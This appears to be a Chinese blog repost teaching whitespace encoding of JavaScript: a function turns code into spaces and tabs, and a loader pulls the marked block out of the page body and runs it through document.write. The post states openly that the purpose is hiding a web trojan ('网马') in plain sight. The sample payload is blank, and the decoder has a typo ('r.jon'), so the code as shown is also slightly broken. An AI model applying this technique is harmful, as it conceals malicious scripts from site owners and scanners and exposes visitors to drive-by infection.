Load... 注册 | 登陆

Javascript字节流加密

原文地址:http://www.woyigui.cn/hydrate/

我们先看如下加密函数:

JavaScript代码
  1. function dehydrate(s) {   
  2.   var r = new Array();   
  3.   for (var i=0; i < s.length ; i++)   
  4.   {   
  5.     for (var j=6; j >= 0 ; j-- )   
  6.     {   
  7.       if (s.charCodeAt(i) & (Math.pow(2,j)) )   
  8.       {   
  9.         r.push(' ');   
  10.       } else {   
  11.         r.push('\t');   
  12.       }   
  13.     }   
  14.   }   
  15.   r.push('\n');   
  16.   return r.join('');   
  17. }  

将一个包含任意字符的字符串转换为一个只包含空白字符的字符串,而这些空白字符实际上表示了原字符串中对应字符的字节流。一个空格表示1,一个制表符(Tab)表示0,而换行符则表示字节流的结束。例如:a = 空格 空格 制表 制表 制表 制表 空格开头 = 110001 = 97 .我们对一段网马进行加密后变成如下代码:

JavaScript代码
  1. //startevil   
  2.                            
  3.                        
  4. //endevil   

请注意,注释的中间关非空白,而是加密后的代码。我们将其代码放入网页中,然后使用解密函数进行解密:

JavaScript代码
  1. function hydrate(s) {   
  2.   var r = new Array();   
  3.   var curr = 0;   
  4.   while(s.charAt(curr) != '\n') {   
  5.     var tmp = 0;   
  6.     for (var i=6; i>=0 ; i-- )   
  7.     {   
  8.       if (s.charAt(curr) == ' ')   
  9.       {   
  10.         tmp = tmp | (Math.pow(2,i));   
  11.       }   
  12.       curr++;   
  13.     }   
  14.     r.push(String.fromCharCode(tmp));   
  15.   }   
  16.   return r.jon('');   
  17. }   

当我们把代码放入页面时,还要对其取出:

JavaScript代码
  1. var html = document.body.innerHTML;   
  2. var start = html.indexOf("//startevil");   
  3. var end = html.indexOf("//endevil");   
  4. var code = html.substring(start,end);   
  5. document.write(hydrate(code));  

这种使用空白字符串的加密方法,能够在光天化日之下非常有效的隐藏恶意的Javascript代码。

« 上一篇 | 下一篇 »

Leave a Comment

评论内容 (必填):